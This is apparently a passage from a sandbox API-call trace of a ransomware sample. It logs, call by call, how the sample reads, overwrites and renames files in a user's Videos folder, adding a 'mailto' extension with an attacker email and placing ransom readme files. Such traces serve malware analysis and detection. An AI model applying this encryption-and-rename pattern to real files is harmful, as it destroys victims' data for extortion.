_Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0176.060] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0176.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfa20) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98150) returned 1 [0176.060] RtlExitUserThread (Status=0x1) Thread: id = 2445 os_tid = 0xd88 [0176.061] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.062] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0176.063] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x235ff86c | out: lpFileSize=0x235ff86c*=66925) returned 1 [0176.063] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x10569, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.063] ReadFile (in: hFile=0x4d0, lpBuffer=0x235ff840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x235ff840*, lpNumberOfBytesRead=0x235ff83c*=0x4, lpOverlapped=0x0) returned 1 [0176.064] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.064] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ae0 [0176.064] NtQuerySystemTime (in: CurrentTime=0x235ff818 | out: CurrentTime=0x235ff818*=132121213333733199) returned 0x0 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xc240cfb4 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xf614d7cd [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x60048320 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x232888b0 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x91fb1a19 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x1f97b9bd [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x63fdb6b6 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x7c03f604 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xd52899c9 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xa09a0e64 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xda9c0f73 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xf62de9cd [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x1ee011af [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x8e845389 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x5f7df293 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x27755e53 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x4d30a1c3 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xb3415850 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x7b8d5492 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xc6dd9f1b [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x5b4f4146 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xe2957dee [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x6b5005be [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xecf66e46 [0176.064] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0xcfb8f83d [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x411d94e2 [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x76bc768b [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x936142e6 [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x989d5c52 [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x74b6e932 [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x7ed865ae [0176.065] RtlRandom (in: Seed=0x235ff824 | out: Seed=0x235ff824) returned 0x68a47c6e [0176.075] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.075] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x235ff7f0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x235ff7f0*=0x4096, lpOverlapped=0x0) returned 1 [0176.077] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.078] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.078] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x235ff7f0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x235ff7f0*=0x4096, lpOverlapped=0x0) returned 1 [0176.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.079] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x1056d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.079] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x235ff828, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x235ff828*=0x20, lpOverlapped=0x0) returned 1 [0176.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x235ff83c*=0x8, lpOverlapped=0x0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x235ff854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x235ff854*, lpNumberOfBytesWritten=0x235ff83c*=0x4, lpOverlapped=0x0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x235ff83c*=0x4, lpOverlapped=0x0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x235ff83c*=0x6c, lpOverlapped=0x0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x235ff83c*=0x20, lpOverlapped=0x0) returned 1 [0176.080] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x235ff83c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x235ff83c*=0x4, lpOverlapped=0x0) returned 1 [0176.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94b08) returned 1 [0176.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.080] CloseHandle (hObject=0x4d0) returned 1 [0176.081] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2fa0c60 [0176.081] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" [0176.081] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.081] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\3uxzadtm2jsvzur.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.082] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.082] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f835c8 [0176.082] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.082] wcscat (in: _Dest=0x2f835c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.082] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0176.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054b10) returned 1 [0176.082] RtlExitUserThread (Status=0x1) Thread: id = 2446 os_tid = 0x9e4 [0176.084] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.084] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0176.085] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2367f798 | out: lpFileSize=0x2367f798*=83141) returned 1 [0176.085] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x144c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.085] ReadFile (in: hFile=0x4d0, lpBuffer=0x2367f76c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2367f76c*, lpNumberOfBytesRead=0x2367f768*=0x4, lpOverlapped=0x0) returned 1 [0176.086] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94b08 [0176.086] NtQuerySystemTime (in: CurrentTime=0x2367f744 | out: CurrentTime=0x2367f744*=132121213334045740) returned 0x0 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xa9df6b37 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x36a01a0c [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x9b5291b6 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x5c29185c [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xd2769034 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x76152146 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x23b9cc71 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xd506515 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xce7d83b5 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x7eaacf26 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xe7984a7e [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x9d2ae53 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xa2b7bd5f [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x321d49b7 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xb61b7bc3 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x5e02ab85 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x496df795 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x535867e4 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x6038bc48 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x4de7d1ec [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x81f993cc [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x7dfd4535 [0176.086] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x5fa49170 [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xff910c3c [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x6391a805 [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xb6e591a [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x316c3f0e [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x92fdad0f [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x41479015 [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xad4aba2b [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0xa1db9ea1 [0176.087] RtlRandom (in: Seed=0x2367f750 | out: Seed=0x2367f750) returned 0x1461f571 [0176.098] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.099] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2367f71c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x2367f71c*=0x4096, lpOverlapped=0x0) returned 1 [0176.099] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.099] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.100] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2367f71c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2367f71c*=0x4096, lpOverlapped=0x0) returned 1 [0176.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.102] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x144c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.102] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2367f754, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x2367f754*=0x20, lpOverlapped=0x0) returned 1 [0176.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.103] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x2367f768*=0x8, lpOverlapped=0x0) returned 1 [0176.103] WriteFile (in: hFile=0x4d0, lpBuffer=0x2367f780*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2367f780*, lpNumberOfBytesWritten=0x2367f768*=0x4, lpOverlapped=0x0) returned 1 [0176.103] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2367f768*=0x4, lpOverlapped=0x0) returned 1 [0176.104] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2367f768*=0x6c, lpOverlapped=0x0) returned 1 [0176.104] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x2367f768*=0x20, lpOverlapped=0x0) returned 1 [0176.104] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2367f768, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2367f768*=0x4, lpOverlapped=0x0) returned 1 [0176.104] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.104] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94b30) returned 1 [0176.104] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.104] CloseHandle (hObject=0x4d0) returned 1 [0176.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2fa0c60 [0176.104] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" [0176.104] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.104] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: 